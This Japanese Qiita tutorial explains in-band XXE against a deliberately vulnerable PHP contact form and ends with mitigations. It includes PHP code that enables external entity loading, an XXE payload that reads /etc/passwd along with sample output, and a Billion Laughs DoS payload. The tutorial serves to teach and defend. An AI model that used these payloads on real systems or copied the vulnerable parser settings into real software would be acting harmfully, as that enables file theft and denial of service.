0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】 Exploiting XXE – In-Band XXE 攻撃

Posted at

はじめに

XML External Entity(XXE)攻撃は、XML パーサの「外部エンティティ読み込み」機能を悪用して、
機密ファイルの読み取りや DoS を引き起こす攻撃手法です。

本記事では In-Band XXE(インバンド XXE) を、
実際の脆弱な PHP コードを使いながら「どう攻撃が成立するのか」を段階的に解説します。


1. 対象アプリ:脆弱な contact フォーム

ターゲットは以下のようなシンプルな問い合わせフォームです:

/contact.php

フォームを送信すると、以下の XML が POST で送られます:

<contact>
    <name>Anna</name>
    <email>anna@example.com</email>
    <message>Hello</message>
</contact>

Burp Suite で送信内容をインターセプトすると、XML がそのまま body に入っているのが確認できます。


2. このアプリはなぜ XXE に脆弱なのか?

以下の contact_submit.php のコードが原因です:

libxml_disable_entity_loader(false);

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $xmlData = file_get_contents('php://input');

    $doc = new DOMDocument();
    $doc->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD); 

    $expandedContent = $doc->getElementsByTagName('name')[0]->textContent;

    echo "Thank you, " .$expandedContent . "! Your message has been received.";
}

ここには致命的な問題があります。


XXE が発生するポイント

危険箇所 説明
libxml_disable_entity_loader(false) 外部エンティティ読み込みを 許可 してしまっている
LIBXML_NOENT エンティティを 自動展開
LIBXML_DTDLOAD 外部 DTD のロードを 許可

つまり、攻撃者が作った DTD をそのままパーサが読み込み、エンティティを展開してしまう状態です。


3. In-Band XXE 攻撃(ファイル読み取り)

このアプリは <name> の値をレスポンスに返します。

「じゃあ <name> の中身を /etc/passwd に置き換えたら?」
→ 当然そのまま返ってくる。

というわけで、以下の XXE payload を投下します。

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<contact>
  <name>&xxe;</name>
  <email>test@test.com</email>
  <message>test</message>
</contact>

Burp で元の XML を全置換して「Send」。


攻撃結果:レスポンスに /etc/passwd が返ってくる

Thank you, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

これが In-Band XXE の特徴:

  • 攻撃結果が直接レスポンスに現れる
  • Blind ではないので非常に分かりやすい
  • その場でファイル読み取りが可能

4. XML Entity Expansion(エンティティ展開)の仕組み

攻撃のキモは、この「エンティティ展開」です。

最もシンプルな例:

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "Hello XML!" >
]>
<contact>
  <name>&xxe; &xxe;</name>
  <email>test@test.com</email>
  <message>test</message>
</contact>

レスポンス:

Thank you, Hello XML! Hello XML! ...

XML パーサは &xxe; を必ず展開するため、
攻撃者が仕込んだ文字列やファイル内容がそのまま UI やレスポンスに流れ込みます。


5. DoS:Billion Laughs Attack(エンティティ爆発攻撃)

エンティティを組み合わせれば、指数関数的な膨張を起こせます。

<!DOCTYPE lolz [
 <!ENTITY lol "LOL">
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<contact>
  <name>&lol3;</name>
  <email>a@a.com</email>
  <message>a</message>
</contact>

結果:

  • 小さな XML が 何億倍にも膨れ上がる
  • サーバのメモリを枯渇
  • アプリが停止 or とても怒る

これが「Billion Laughs Attack」です。


6. XXE 対策(開発者必須)

対策 説明
外部エンティティを禁止 最強の対策
DTD の読み込みを禁止 これだけでも攻撃難易度激増
LIBXML_NOENT を使用しない エンティティ展開をやめる
JSON など XML 以外の形式に移行 可能なら XML を捨てるのが一番健康

PHP の修正版:

libxml_disable_entity_loader(true);
$doc->loadXML($xmlData, LIBXML_NONET);

まとめ

In-Band XXE のポイントは以下:

  • レスポンスに結果が返るので攻撃成功が一瞬で分かる
  • 外部エンティティ読み込みが有効だと即アウト
  • ファイル読み取り・DoS・情報漏洩が簡単に起きる
  • Burp Suite との相性が抜群で実験しやすい

XML パーサは「基本的に素直すぎる」ので、
開発者がしっかり制限しないと危険な挙動をしてしまいます。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?